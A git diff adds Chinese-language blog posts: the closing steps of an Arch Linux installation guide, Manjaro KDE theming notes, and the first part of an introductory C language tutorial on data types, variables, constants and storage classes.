+ctrl+w搜索en_US注意大小写 + +alt+w搜索下一个 找到en_US.UTF-8.UTF-8 然后把他取消注释 + +保存退出 + +```bash +locale-gen #使刚才编辑的语言环境生效 +``` + +### 1.3.14设置root密码 + +```bash +passwd root #当前账户就是root 可以不用打root +``` + +### 1.3.15添加新用户 + +```bash +用户名以arch为例 + +useradd -m -G wheel -s /bin/bash arch #这里新建用户arch + +#为arch设置密码 +passwd arch +``` + +- 设置arch用户名的密码 + + ```bash + #编辑arch用户的权限 + EDITOR=nano visudo + ``` + + ctrl+w搜索%wheel + + 找到**# %wheel ALL=(ALL:ALL)ALL**取消注释 + +### 1.3.16安装 cpu微码和引导软件 + +```bash +pacman -S intel-ucode grub efibootmgr os-prober +#如果是amd的cpu 则输入amd-ucode + + +#安装grub引导 如果不知道系统什么架构可以使用'uname -a'查看一下 +grub-install --target=x86_64-efi --efi-directory=/boot --bootloader-id=GRUB + + +生成grub +grub-mkconfig -o /boot/grub/grub.cfg +``` + +![img](https://s1.vika.cn/space/2023/04/15/96749548992142d385ecb12fd4212472) + +os-prober查找已安装的操作系统, 推荐双系统使用者安装此工具(虚拟机没必要) + +```bash +pacman -S os-prober +``` + +### 1.3.17安装KDE桌面 字体 浏览器等软件包等 + +```bash +pacman -S plasma konsole dolphin #kde桌面和终端,文件管理器 + +pacman -S ntfs-3g #可以读取ntfs格式磁盘,根据自己情况选择性安装 + +#中文字体 +pacman -S adobe-source-han-serif-cn-fonts adobe-source-han-sans-cn-fonts wqy-zenhei wqy-microhei noto-fonts-cjk noto-fonts-emoji noto-fonts-extra ttf-dejavu + + +#一堆软件,以下不是必须安装.可以根据自己情况选择性安装 +pacman -S firefox ark gwenview packagekit-qt5 packagekit appstream-qt appstream man neofetch net-tools networkmanager openssh git wget +``` + +> - vmware虚拟机的自适应分辨率,**实体机请勿安装** +> +> ```bash +> pacman -S gtkmm gtk2 gtkmm3 open-vm-tools xf86-input-vmmouse xf86-video-vmware +> +> #开机启动 显示管理器 网络管理 ssh 虚拟机自适应分辨率 +> systemctl enable NetworkManager sddm vmtoolsd sshd +> #编辑配置文件 +> nano /etc/mkinitcpio.conf +> MODULES=(vsock vmw_vsock_vmci_transport vmw_balloon vmw_vmci vmwgfx) +> #使刚才配置文件生效 +> mkinitcpio -p linux +> ``` + +**至此系统基本安装完毕, 按照以下步骤重启准备进入系统** + +- **exit**退回到**live**系统中 +- **umount -R /mnt** 卸载/mnt目录 +- **reboot**重启 + +![img](https://s1.vika.cn/space/2023/04/15/0bae9f13712841b59652d6ee34fa9227) + +输入之前设置的密码即可进入系统 + +![img](https://s1.vika.cn/space/2023/04/15/7a196807ebbe4020bee0efd8f7c03965) + +### 1.3.18最后调整 + +```bash +#修改pacman.conf + +sudo nano /etc/pacman.conf + +#取消'Color'前的注释,这样系统报错时会彩色显示,方便排查 + +#取消以下两行的注释 +[multilib] +Include = /etc/pacman.d/mirrorslist + + + +#再在最后面添加以下两行内容 +[archlinuxcn] +Server = https://mirrors.tuna.tsinghua.edu.cn/archlinuxcn/$arch + + +#保存并退出 + +#更新一下软件包 +pacman -Sy +``` + +![img](https://cloud.atdunbg.xyz/2023-3-28-17.png) + +**安装archlinuxcn-keyring包导入GPG key** + +```bash +sudo pacman -S archlinuxcn-keyring +``` + +再次更新下源 + +```bash +sudo pacman -Sy +``` + +- yay paru都是aur助手, 任选一种, 还有其他的aur助手软件可以自行搜索 + +```bash +pacman -S yay paru +``` + +如果报错则执行以下命令 + +```bash +rm -rf /etc/pacman.d/gnupg #rm命令谨慎操作 +pacman-key --init +pacman-key --populate archlinux +pacman-key --populate archlinuxcn +``` + +- 安装fcitx5输入法 + + ```bash + pacman -S fcitx5-im fcitx5-chinese-addons fcitx5-pinyin-moegirl fcitx5-pinyin-zhwiki fcitx5-material-color + + #编辑运行环境 使fcitx5输入法生效 + EDITOR=nano sudoedit /etc/environment + + #输入以下内容 + GTK_IM_MODULE=fcitx + QT_IM_MODULE=fcitx + XMODIFIERS=@im=fcitx + SDL_IM_MODULE=fcitx + + #重启以下系统即可 + ``` + +### 1.3.19结束安装 + +> 至此,系统已经全部安装完成. diff --git a/source/_posts/arch_majaro.md b/source/_posts/arch_majaro.md new file mode 100644 index 0000000..411009c --- /dev/null +++ b/source/_posts/arch_majaro.md @@ -0,0 +1,131 @@ +--- +title: Majaro 配置记录 +date: 2022-12-18 20:45 +tags: ["Arch Linux", 配置] +categories: Linux +thumbnail: "https://hexoimage.pages.dev/file/3cf6864a213a1bf09c5ff.png" +--- + +![img](https://s1.vika.cn/space/2022/12/19/4dc36943bf674fbd87bfd5233eaa6065) + +## 添加AUR源 + +manjaro是基于Arch的,所以也能使用Arch的AUR + +修改**pacman.conf**文件 + +``` +sudo nano /etc/pacman.conf + +# 在最后添加以下三行内容 + ++ [archlinuxcn] ++ SigLevel = Optional TrustedOnly ++ Server = https://mirrors.tsinghua.edu.cn/archlinuxcn/$arch + +#之后保存更新 + +sudo pacman -Syyu +``` + +**安装archlinuxcn-keyring包导入GPG key** + +``` +sudo pacman -S archlinuxcn-keyring +``` + +**GIT** + +``` +sudo pacman -S git +``` + +**chrome浏览器** + +``` +#chrome浏览器 + +sudo pacman -S google-chrome +``` + +## 配置 + +### **全局主题-layan** + +[https://github.com/vinceliuice/Layan-kde ](https://github.com/vinceliuice/Layan-kde) + +![img](https://images.pling.com/img/00/00/32/24/44/1325241/a31142754df9a88beb9ba19d9445fb579e36.png) + +**Plasma样式** + +![img](https://s1.vika.cn/space/2022/12/19/9e42d18f8577464c858d6e10d0082c06) + +**颜色** + +![img](https://s1.vika.cn/space/2022/12/19/1d7b39bf94fb4c528ac05be3f5346f34) + +**图标** + +![img](https://s1.vika.cn/space/2022/12/19/88ff23b48ce849c5951bbab93dd0ce85) + +**设置——工作区行为——桌面特效** + +![img](https://s1.vika.cn/space/2022/12/19/820790baa4cd4444992e106641bfb6c9) + +![img](https://s1.vika.cn/space/2022/12/19/db5d6ba6bd834e329fb975113fb79b7b) + +**窗口透明度** + +![img](https://s1.vika.cn/space/2022/12/19/36608ffadaee4011b8b5f74e2e0a16ab) + +**窗口背景虚化** + +![img](https://s1.vika.cn/space/2022/12/19/deeeda86a7004c97be98f8f63914c390) + +### **gnome-gtk程序风格** + +文件:[https://pan.baidu.com/s/1SZbrEzFI2SFCBMEJ0zmuHQ ](https://pan.baidu.com/s/1SZbrEzFI2SFCBMEJ0zmuHQ) 密码: r8t5 + +用到的软件 kvantum + +软件库里有,点击直接安装 + +![img](https://s1.vika.cn/space/2022/12/19/676f54d1e87d48e8bfd2ba7c17dca77b) + +也可以用终端安装 + +``` +sudo pacman -S kvantum +``` + +选择主题安装 + +![img](https://s1.vika.cn/space/2022/12/19/7b8e6c632b684301b6b3e0c5fc6df7c4) + +稍作修改 + +![img](https://s1.vika.cn/space/2022/12/19/52ff63c5c19c4c48b04aceae423d48ec) + +![img](https://s1.vika.cn/space/2022/12/19/dd90df2a929a427b9de415d422f9c28c) + +**保存,然后在设置里应用 kvantum 即可** + +### 任务栏插件 + +**panon音乐插件** + +[https://github.com/rbn42/panon ](https://github.com/rbn42/panon) + +**配置** + +![img](https://s1.vika.cn/space/2022/12/19/700ee4bf84e04e2582709d17d3f6f3d4)![img](https://s1.vika.cn/space/2022/12/19/7e8aa9a2b99546d0b97603ad8f74fd00) + +**Dock栏** + +``` +sudo pacman -S plank +``` + +**配置** + +![img](https://s1.vika.cn/space/2022/12/19/901760c09f14490a89e0981f25442af9) \ No newline at end of file diff --git a/source/_posts/c_learn_1.md b/source/_posts/c_learn_1.md new file mode 100644 index 0000000..7040f1c --- /dev/null +++ b/source/_posts/c_learn_1.md @@ -0,0 +1,1090 @@ +--- +title: C语言-1 +date: 2022-11-01 15:40:14 +tags: [C语言, 笔记] +categories: 笔记 +--- + +## C 简介 + +C 语言是一种通用的高级语言,最初是由丹尼斯·里奇在贝尔实验室为开发 UNIX 操作系统而设计的。C 语言最开始是于 1972 年在 DEC PDP-11 计算机上被首次实现。 + +在 1978 年,布莱恩·柯林汉(Brian Kernighan)和丹尼斯·里奇(Dennis Ritchie)制作了 C 的第一个公开可用的描述,现在被称为 K&R 标准。 + +UNIX 操作系统,C编译器,和几乎所有的 UNIX 应用程序都是用 C 语言编写的。由于各种原因,C 语言现在已经成为一种广泛使用的专业语言。 + + + +其主要有一下几个特点: + +> * 易于学习. +> * 结构化语言. +> * 可以生产高效率的程序. +> * 可以处理底层的活动. +> * 可以在多种计算机平台上编译. + + + +## 关于C + +- C 语言是为了UNIX操作系统而被发明的. +- C 语言是以B语言为基础的, B语言在大约1970年被引进的. +- C 语言的标准是与1988年由美国国家标准协会(ANSI, 全称American National Standard Institute)制定的. +- 截至1973年,UNIX操作系统是完全使用C语言编写的. +- 目前,C 语言是最广泛使用的系统程序设计语言. +- 大多数先进的软件都是使用C语言实现的. +- 当今流行的Linux操作系统和RDBMS(Relational Database Management System:关系数据库管理系统) MySQL都是使用C语言编写的. + + + +## 为什么要用C + +C 语言最初是用于系统开发工作,特别是组成操作系统的程序。由于 C 语言所产生的代码运行速度与汇编语言编写的代码运行速度几乎一样,所以采用 C 语言作为系统开发语言。 + +几个使用 C 的实例: + +- 操作系统 +- 语言编译器 +- 汇编器 +- 文本编辑器 +- 打印机 +- 网络驱动器 +- 现代程序 +- 数据库 +- 语言解释器 +- 实体工具 + +C 程序 + +一个 C 语言程序,可以是 3 行,也可以是数百万行,它可以写在一个或多个扩展名为 “.c” 的文本文件中,例如,hello.c。可以使用 VScode/Dev-C++/Vim或者其他编辑器来编写 C 语言程序。 + + + +## C11 + +C11(也被称为C1X)指ISO标准ISO/IEC 9899:2011。在它之前的C语言标准为C99。 + + + +## 新特性 + +- 对齐处理(Alignment)的标准化(包括_Alignas标志符,alignof运算符,aligned_alloc函数以及头文件)。 +- _Noreturn 函数标记,类似于 gcc **attribute**((noreturn))。 +- _Generic 关键字。 +- 多线程(Multithreading)支持,包括: + - _Thread_local存储类型标识符,头文件,里面包含了线程的创建和管理函数。 + - _Atomic类型修饰符和头文件。 +- 增强的Unicode的支持。基于C Unicode技术报告ISO/IEC TR 19769:2004,增强了对Unicode的支持。包括为UTF-16/UTF-32编码增加了char16_t和char32_t数据类型,提供了包含unicode字符串转换函数的头文件。 +- 删除了 gets() 函数,使用一个新的更安全的函数gets_s()替代。 +- 增加了边界检查函数接口,定义了新的安全的函数,例如 fopen_s(),strcat_s() 等等。 +- 增加了更多浮点处理宏(宏)。 +- 匿名结构体/联合体支持。这个在gcc早已存在,C11将其引入标准。 +- 静态断言(Static assertions),_Static_assert(),在解释 #if 和 #error 之后被处理。 +- 新的 fopen() 模式,(“…x”)。类似 POSIX 中的 O_CREAT|O_EXCL,在文件锁中比较常用。 +- 新增 quick_exit() 函数作为第三种终止程序的方式。当 exit()失败时可以做最少的清理工作。 + +## 环境配置 + +最简单的环境配置只需要配置C的编译环境,C语言对应的工具主要有以下三种: + +> * GCC/G++ (Window可以用[MinGW]([mingw-w64](https://www.mingw-w64.org/))) +> * MSVC (可以通过[Visual Studio installer](https://visualstudio.microsoft.com/)下载C++的桌面开发环境下载) +> * [CLANG (LLVM) ](https://clang.com) + +下载对应的编译工具并添加进环境即可 + + + +## 程序结构 + +### C “hello world” 实例 + +C 程序主要包括以下几个部分: + +- 预处理指令 +- 函数 +- 变量 +- 语句 & 表达式 +- 注释 + +hello world!实例: + +```c +#include +int main() { + /*我的第一个 C 程序*/ + printf("Hello World! \n"); + return 0; +} +``` + +| 代码 | 解释 | +| :---------------: | :----------------------------------------------------------: | +| #include | 预处理指令,告诉 C 编译器在实际编译之前要包含 stdio.h 文件。 | +| int main() | 程序的主函数,程序从这里开始运行 | +| /*…*/ | “…”里的内容会被编译器忽略,这里放置程序的注释内容。它们被称为程序的注释 | +| printf(…) | C语言 中一个可用的函数,会在屏幕上显示消息”…(括号内的内容)” | +| return 0; | 终止main()函数,并返回值0. | + +### 编译 & 执行 C 程序 + +不同编译器操作方式不同,此处只提供其中一种[关于vscode如何运行C代码 ](https://watchdogs-x.github.io/2022/12/22/vscode_install/) + +## C 基本语法 + +### C 的令牌(Token) + +C 程序由各种令牌组成,令牌可以是关键字、标识符、常量、字符串值,或者是一个符号。例如,下面的 hello world 语句就包括五个令牌: + +```c +printf("hello world! \n"); +``` + +这五个令牌分别为: + +- printf +- ( +- “Hello, World! \n” +- ) +- ; + +#### 分号 ‘;’ + +在 C 程序中,分号是语句结束符。也就是说,每个语句必须以分号结束。它表明一个逻辑实体的结束。 + +```c +printf("Hello, World! \n"); //这是第一条语句 +return 0; //这是第二条语句 +``` + +#### 注释 + +C 语言有两种注释方式: + +- // 单行注释 + 以 // 开始的单行注释,这种注释可以单独占一行。 +- /*…*/ 这种格式的注释可以单行或多行。您不能在注释内嵌套注释,注释也不能出现在字符串或字符值中 + +```c +// 单行注释 + +/* 单行注释 */ + +/* + 多行注释 + 多行注释 + 多行注释 + 多行注释 +*/ +``` + +#### 标识符 + +- C 标识符是用来标识变量、函数,或任何其他用户自定义项目的名称。一个标识符以字母 A-Z 或 a-z 或下划线 _ 开始,后跟零个或多个字母、下划线和数字(0-9)。 +- C 标识符内不允许出现标点字符,比如 @、$ 和 %。C 是区分大小写的编程语言。因此,在 C 中,Manpower 和 manpower 是两个不同的标识符。 + +几个有效的标识符: + +note simple +mohd zara abc move_name a_123 +myname50 _temp j a23b9 retVal +endnote + +#### 关键词 + +hideToggle 点我查看 + +| 关键词 | 说明 | +| ------------------------ | ------------------------------------------------------------ | +| auto | 声明自动变量 | +| break | 跳出当前循环 | +| case | 开关语句分支 | +| char | 声明字符型变量或函数返回值类型 | +| const | 定义常量,如果一个变量被 const 修饰,那么它的值就不能再被改变 | +| continue | 结束当前循环,开始下一轮循环 | +| default | 开关语句中的”其它”分支 | +| do 循环语句的循环体 | | +| double | 声明双精度浮点型变量或函数返回值类型 | +| else | 条件语句否定分支(与 if 连用) | +| enum | 声明枚举类型 | +| extern | 声明变量或函数是在其它文件或本文件的其他位置定义 | +| float | 声明浮点型变量或函数返回值类型 | +| for | 一种循环语句 | +| goto | 无条件跳转语句 | +| if | 条件语句 | +| int | 声明整型变量或函数 | +| long | 声明长整型变量或函数返回值类型 | +| register | 声明寄存器变量 | +| return | 子程序返回语句(可以带参数,也可不带参数) | +| short | 声明短整型变量或函数 | +| signed | 声明有符号类型变量或函数 | +| sizeof | 计算数据类型或变量长度(即所占字节数) | +| static | 声明静态变量 | +| struct | 声明结构体类型 | +| switch | 用于开关语句 | +| unsigned | 声明无符号类型变量或函数 | +| union | 声明共用体类型 | +| void | 声明函数无返回值或无参数,声明无类型指针 | +| volatile | 说明变量在程序执行中可被隐含地改变 | +| while 循环语句的循环条件 | | + +**C99新增关键词** + +| _Bool | _Complex | _Imaginary | inline | restrict | +| ----- | -------- | ---------- | ------ | -------- | +| | | | | | + +**C11 新增关键字** + +| _Alignas | _Alignof | _Atomic | _Generic | _Noreturn | +| ------------------ | ----------------- | ------- | -------- | --------- | +| **_Static_assert** | **_Thread_local** | | | | + +endhideToggle + +#### C 中的空格 + +只包含空格的行,被称为空白行,可能带有注释,C 编译器会完全忽略它。 + +在 C 中,空格用于描述空白符、制表符、换行符和注释。空格分隔语句的各个部分,让编译器能识别语句中的某个元素(比如 int)在哪里结束,下一个元素在哪里开始。因此,在下面的语句中: + +``` +int age; +``` + +在这里,int 和 age 之间必须至少有一个空格字符(通常是一个空白符),这样编译器才能够区分它们。另一方面,在下面的语句中: + +``` +fruit = apples + oranges; // 获取水果的总数 +``` + +fruit 和 =,或者 = 和 apples 之间的空格字符不是必需的,但是为了增强可读性,您可以根据需要适当增加一些空格。 + +## C 数据类型 + +在 C 语言中,数据类型指的是用于声明不同类型的变量或函数的一个广泛的系统。变量的类型决定了变量存储占用的空间,以及如何解释存储的位模式。 + +C 中的类型可分为以下几种: + +| 序号 | 类型与描述 | +| --------------- | ------------------------------------------------------------ | +| **基本类型:** | 它们是算术类型,包括两种类型:整数类型和浮点类型。 | +| **枚举类型:** | 它们也是算术类型,被用来定义在程序中只能赋予其一定的离散整数值的变量。 | +| **void 类型:** | 类型说明符 *void* 表明没有可用的值。 | +| **派生类型:** | 它们包括:指针类型、数组类型、结构类型、共用体类型和函数类型。 | + +### 整数类型 + +下表列出了关于标准整数类型的存储大小和值范围的细节: + +| 类型 | 存储大小 | 值范围 | +| -------------- | ----------- | ---------------------------------------------------- | +| char | 1 字节 | -128 到 127 或 0 到 255 | +| unsigned char | 1 字节 | 0 到 255 | +| signed char | 1 字节 | -128 到 127 | +| int | 2 或 4 字节 | -32,768 到 32,767 或 -2,147,483,648 到 2,147,483,647 | +| unsigned int | 2 或 4 字节 | 0 到 65,535 或 0 到 4,294,967,295 | +| short | 2 字节 | -32,768 到 32,767 | +| unsigned short | 2 字节 | 0 到 65,535 | +| long | 4 字节 | -2,147,483,648 到 2,147,483,647 | +| unsigned long | 4 字节 | 0 到 4,294,967,295 | + +note modern +为了得到某个类型或某个变量在特定平台上的准确大小,您可以使用 **sizeof** 运算符。表达式 *sizeof(type)* 得到对象或类型的存储字节大小。下面的实例演示了获取 int 类型的大小: + +```c +#include +#include + +int main() +{ + printf("int 存储大小 : %lu \n", sizeof(int)); + + return 0; +} +``` + +**%lu** 为 32 位无符号整数,详细说明查看 [C 库函数 - printf() ](https://www.runoob.com/cprogramming/c-function-printf.html)。 + +endnote + +### 浮点类型 + +下表列出了关于标准浮点类型的存储大小、值范围和精度的细节: + +| 类型 | 存储大小 | 值范围 | 精度 | +| ----------- | -------- | ---------------------- | ----------- | +| float | 4 字节 | 1.2E-38 到 3.4E+38 | 6 位有效位 | +| double | 8 字节 | 2.3E-308 到 1.7E+308 | 15 位有效位 | +| long double | 16 字节 | 3.4E-4932 到 1.1E+4932 | 19 位有效位 | + +头文件 float.h 定义了宏,在程序中可以使用这些值和其他有关实数二进制表示的细节。下面的实例将输出浮点类型占用的存储空间以及它的范围值: + +### 实例 + +```c +#include +#include +int main() { + printf("float 存储最大字节数 : %lu \n", sizeof(float)); + printf("float 最小值: %E\n", FLT_MIN ); + printf("float 最大值: %E\n", FLT_MAX ); + printf("精度值: %d\n", FLT_DIG ); + + return 0; +} +``` + +**%E** 为以指数形式输出单、双精度实数,详细说明查看 [C 库函数 - printf() ](https://www.runoob.com/cprogramming/c-function-printf.html)。 + +当您在 Linux 上编译并执行上面的程序时,它会产生下列结果: + +``` +float 存储最大字节数 : 4 +float 最小值: 1.175494E-38 +float 最大值: 3.402823E+38 +精度值: 6 +``` + +### void 类型 + +void 类型指定没有可用的值。它通常用于以下三种情况下: + +| 类型 | 描述 | +| ----------------- | ------------------------------------------------------------ | +| **函数返回为空** | C 中有各种函数都不返回值,或者您可以说它们返回空。不返回值的函数的返回类型为空。例如 **void exit (int status);** | +| **函数参数为空** | C 中有各种函数不接受任何参数。不带参数的函数可以接受一个 void。例如 **int rand(void);** | +| **指针指向 void** | 类型为 void * 的指针代表对象的地址,而不是类型。例如,内存分配函数 **void \*malloc( size_t size );** 返回指向 void 的指针,可以转换为任何数据类型。 | + +## C 变量 + +变量其实只不过是程序可操作的存储区的名称。C 中每个变量都有特定的类型,类型决定了变量存储的大小和布局,该范围内的值都可以存储在内存中,运算符可应用于变量上。 + +变量的名称可以由字母、数字和下划线字符组成。它必须以字母或下划线开头。大写字母和小写字母是不同的,因为 C 是大小写敏感的。基于前一章讲解的基本类型,有以下几种基本的变量类型: + +| 类型 | 描述 | +| ------ | ------------------------------------------------------------ | +| char | 通常是一个字节(八位), 这是一个整数类型。 | +| int | 整型,4 个字节,取值范围 -2147483648 到 2147483647。 | +| float | 单精度浮点值。单精度是这样的格式,1位符号,8位指数,23位小数。![img](https://www.runoob.com/wp-content/uploads/2014/09/v2-749cc641eb4d5dafd085e8c23f8826aa_hd.png) | +| double | 双精度浮点值。双精度是1位符号,11位指数,52位小数。![img](https://www.runoob.com/wp-content/uploads/2014/09/v2-48240f0e1e0dd33ec89100cbe2d30707_hd.png) | +| void | 表示类型的缺失。 | + +C 语言也允许定义各种其他类型的变量,比如枚举、指针、数组、结构、共用体等等. + +#### C 中的变量定义 + +变量定义就是告诉编译器在何处创建变量的存储,以及如何创建变量的存储。变量定义指定一个数据类型,并包含了该类型的一个或多个变量的列表,如下所示: + +``` +type variable_list; +``` + +在这里,**type** 必须是一个有效的 C 数据类型,可以是 char、w_char、int、float、double 或任何用户自定义的对象,**variable_list** 可以由一个或多个标识符名称组成,多个标识符之间用逗号分隔。下面列出几个有效的声明: + +```c +int i, j, k; +char c, ch; +float f, salary; +double d; +``` + +行 **int i, j, k;** 声明并定义了变量 i、j 和 k,这指示编译器创建类型为 int 的名为 i、j、k 的变量。 + +变量可以在声明的时候被初始化(指定一个初始值)。初始化器由一个等号,后跟一个常量表达式组成,如下所示: + +``` +type variable_name = value; +``` + +下面列举几个实例: + +```c +extern int d = 3, f = 5; // d 和 f 的声明与初始化 +int d = 3, f = 5; // 定义并初始化 d 和 f +byte z = 22; // 定义并初始化 z +char x = 'x'; // 变量 x 的值为 'x' +``` + +不带初始化的定义:带有静态存储持续时间的变量会被隐式初始化为 NULL(所有字节的值都是 0),其他所有变量的初始值是未定义的。 + +### C 中的变量声明 + +变量声明向编译器保证变量以指定的类型和名称存在,这样编译器在不需要知道变量完整细节的情况下也能继续进一步的编译。变量声明只在编译时有它的意义,在程序连接时编译器需要实际的变量声明。 + +变量的声明有两种情况: + +- 1、一种是需要建立存储空间的。例如:int a 在声明的时候就已经建立了存储空间。 +- 2、另一种是不需要建立存储空间的,通过使用extern关键字声明变量名而不定义它。 例如:extern int a 其中变量 a 可以在别的文件中定义的。 +- 除非有extern关键字,否则都是变量的定义。 + +```c +extern int i; //声明,不是定义 +int i; //声明,也是定义 +#include +// 函数外定义变量 x 和 y +int x; int y; +int addtwonum() { + // 函数内声明变量 x 和 y 为外部变量 + extern int x; + extern int y; + // 给外部变量(全局变量)x 和 y 赋值 + x = 1; + y = 2; + return x+y; +} + +int main() { + int result; + // 调用函数 addtwonum + result = addtwonum(); + printf("result 为: %d",result); + return 0; +} +``` + +当上面的代码被编译和执行时,它会产生下列结果: + +``` +result 为: 3 +``` + +如果需要在一个源文件中引用另外一个源文件中定义的变量,我们只需在引用的文件中将变量加上 extern 关键字的声明即可。 + +## addtwonum.c 文件代码: + +```c +#include +/*外部变量声明*/ +extern int x ; +extern int y ; +int addtwonum() { + return x+y; +} +``` + +## test.c 文件代码: + +```c +#include +/*定义两个全局变量*/ +int x=1; int y=2; +int addtwonum(); + +int main(void) { + int result; + result = addtwonum(); + printf("result 为: %d\n",result); + + return 0; +} +``` + +当上面的代码被编译和执行时,它会产生下列结果: + +``` +result 为: 3 +``` + +### C 中的左值(Lvalues)和右值(Rvalues) + +C 中有两种类型的表达式: + +1. **左值(lvalue):**指向内存位置的表达式被称为左值(lvalue)表达式。左值可以出现在赋值号的左边或右边。 +2. **右值(rvalue):**术语右值(rvalue)指的是存储在内存中某些地址的数值。右值是不能对其进行赋值的表达式,也就是说,右值可以出现在赋值号的右边,但不能出现在赋值号的左边。 + +变量是左值,因此可以出现在赋值号的左边。数值型的字面值是右值,因此不能被赋值,不能出现在赋值号的左边。下面是一个有效的语句: + +```c +int g = 20; +``` + +但是下面这个就不是一个有效的语句,会生成编译时错误: + +``` +10 = 20; +``` + +## C 常量 + +常量是固定值,在程序执行期间不会改变。这些固定的值,又叫做**字面量**。 + +常量可以是任何的基本数据类型,比如整数常量、浮点常量、字符常量,或字符串字面值,也有枚举常量。 + +**常量**就像是常规的变量,只不过常量的值在定义后不能进行修改。 + +### 整数常量 + +整数常量可以是十进制、八进制或十六进制的常量。前缀指定基数:0x 或 0X 表示十六进制,0 表示八进制,不带前缀则默认表示十进制。 + +整数常量也可以带一个后缀,后缀是 U 和 L 的组合,U 表示无符号整数(unsigned),L 表示长整数(long)。后缀可以是大写,也可以是小写,U 和 L 的顺序任意。 + +下面列举几个整数常量的实例: + +``` +212 /* 合法的 */ +215u /* 合法的 */ +0xFeeL /* 合法的 */ + +078 /* 非法的:8 不是八进制的数字 */ +032UU /* 非法的:不能重复后缀 */ +``` + +以下是各种类型的整数常量的实例: + +``` +85 /* 十进制 */ +0213 /* 八进制 */ +0x4b /* 十六进制 */ +30 /* 整数 */ +30u /* 无符号整数 */ +30l /* 长整数 */ +30ul /* 无符号长整数 */ +``` + +### 浮点常量 + +- 浮点常量由整数部分、小数点、小数部分和指数部分组成。您可以使用小数形式或者指数形式来表示浮点常量。 +- 当使用小数形式表示时,必须包含整数部分、小数部分,或同时包含两者。当使用指数形式表示时, 必须包含小数点、指数,或同时包含两者。带符号的指数是用 e 或 E 引入的。 + +下面列举几个浮点常量的实例: + +``` +3.14159 /* 合法的 */ +314159E-5L /* 合法的 */ +510E /* 非法的:不完整的指数 */ +210f /* 非法的:没有小数或指数 */ +.e55 /* 非法的:缺少整数或分数 */ +``` + +### 字符常量 + +- 字符常量是括在单引号中,例如,’x’ 可以存储在 **char** 类型的简单变量中。 +- 字符常量可以是一个普通的字符(例如 ‘x’)、一个转义序列(例如 ‘\t’),或一个通用的字符(例如 ‘\u02C0’)。 +- 在 C 中,有一些特定的字符,当它们前面有反斜杠时,它们就具有特殊的含义,被用来表示如换行符(\n)或制表符(\t)等。 + +更多的转义序列码 + +| 转义序列 | 含义 | +| ---------- | -------------------------- | +| \ | \ 字符 | +| ' | ‘ 字符 | +| " | “ 字符 | +| ? | ? 字符 | +| \a | 警报铃声 | +| \b | 退格键 | +| \f | 换页符 | +| \n | 换行符 | +| \r | 回车 | +| \t | 水平制表符 | +| \v | 垂直制表符 | +| \ooo | 一到三位的八进制数 | +| \xhh . . . | 一个或多个数字的十六进制数 | + +**例:** + +```c +\#include + + int main() { + + printf("Hello\tWorld\n\n"); + + return 0; + + } +``` + +当上面的代码被编译和执行时,它会产生下列结果: + +``` +Hello World +``` + +### 字符串常量 + +字符串字面值或常量是括在双引号 “” 中的。一个字符串包含类似于字符常量的字符:普通的字符、转义序列和通用的字符。 + +您可以使用空格做分隔符,把一个很长的字符串常量进行分行。 + +下面的实例显示了一些字符串常量。下面这三种形式所显示的字符串是相同的。 + +``` +"hello, dear" + +"hello, \ + +dear" + +"hello, " "d" "ear" +``` + +### 定义常量 + +在 C 中,有两种简单的定义常量的方式: + +1. 使用 **#define** 预处理器。 +2. 使用 **const** 关键字。 + +#### #define 预处理器 + +下面是使用 #define 预处理器定义常量的形式: + +``` +#define identifier value +``` + +**例:** + +```c +#include + +#define LENGTH 10 +#define WIDTH 5 +#define NEWLINE '\n' + +int main() +{ + + int area; + + area = LENGTH * WIDTH; + printf("value of area : %d", area); + printf("%c", NEWLINE); + + return 0; +} +``` + +当上面的代码被编译和执行时,它会产生下列结果: + +``` +value of area : 50 +``` + +### const 关键字 + +您可以使用 **const** 前缀声明指定类型的常量,如下所示: + +```c +const type variable = value; +``` + +![img](https://www.runoob.com/wp-content/uploads/2014/09/c-const-2021-01-15.png) + +const 声明常量要在一个语句内完成: + +![img](https://www.runoob.com/wp-content/uploads/2014/09/c-const-2021-01-15-2.png) + +**例:** + +```c +#include + +int main() +{ + const int LENGTH = 10; + const int WIDTH = 5; + const char NEWLINE = '\n'; + int area; + + area = LENGTH * WIDTH; + printf("value of area : %d", area); + printf("%c", NEWLINE); + + return 0; +} +``` + +当上面的代码被编译和执行时,它会产生下列结果: + +``` +value of area : 50 +``` + +把常量定义为大写字母形式,是一个很好的编程习惯。 + +## C 存储类 + +hideToggle 点我查看 + +存储类定义 C 程序中变量/函数的范围(可见性)和生命周期。这些说明符放置在它们所修饰的类型之前。下面列出 C 程序中可用的存储类: + +- auto +- register +- static +- extern + +### auto 存储类 + +**auto** 存储类是所有局部变量默认的存储类。 + +```c +{ + int mount; + auto int month; +} +``` + +上面的实例定义了两个带有相同存储类的变量,auto 只能用在函数内,即 auto 只能修饰局部变量。 + +### register 存储类 + +**register** 存储类用于定义存储在寄存器中而不是 RAM 中的局部变量。这意味着变量的最大尺寸等于寄存器的大小(通常是一个字),且不能对它应用一元的 ‘&’ 运算符(因为它没有内存位置)。 + +```c +{ + register int miles; +} +``` + +寄存器只用于需要快速访问的变量,比如计数器。还应注意的是,定义 ‘register’ 并不意味着变量将被存储在寄存器中,它意味着变量可能存储在寄存器中,这取决于硬件和实现的限制。 + +### static 存储类 + +**static** 存储类指示编译器在程序的生命周期内保持局部变量的存在,而不需要在每次它进入和离开作用域时进行创建和销毁。因此,使用 static 修饰局部变量可以在函数调用之间保持局部变量的值。 + +static 修饰符也可以应用于全局变量。当 static 修饰全局变量时,会使变量的作用域限制在声明它的文件内。 + +全局声明的一个 static 变量或方法可以被任何函数或方法调用,只要这些方法出现在跟 static 变量或方法同一个文件中。 + +以下实例演示了 static 修饰全局变量和局部变量的应用: + +```c +#include + +/* 函数声明 */ +void func1(void); + +static int count=10; /* 全局变量 - static 是默认的 */ + +int main() +{ + while (count--) { + func1(); + } + return 0; +} + +void func1(void) +{ +/* 'thingy' 是 'func1' 的局部变量 - 只初始化一次 + * 每次调用函数 'func1' 'thingy' 值不会被重置。 + */ + static int thingy=5; + thingy++; + printf(" thingy 为 %d , count 为 %d\n", thingy, count); +} +``` + +实例中 count 作为全局变量可以在函数内使用,thingy 使用 static 修饰后,不会在每次调用时重置。 + +可能您现在还无法理解这个实例,因为我已经使用了函数和全局变量,这两个概念目前为止还没进行讲解。即使您现在不能完全理解,也没有关系,后续的章节我们会详细讲解。当上面的代码被编译和执行时,它会产生下列结果: + +``` +thingy 为 6 , count 为 9 +thingy 为 7 , count 为 8 +thingy 为 8 , count 为 7 +thingy 为 9 , count 为 6 +thingy 为 10 , count 为 5 +thingy 为 11 , count 为 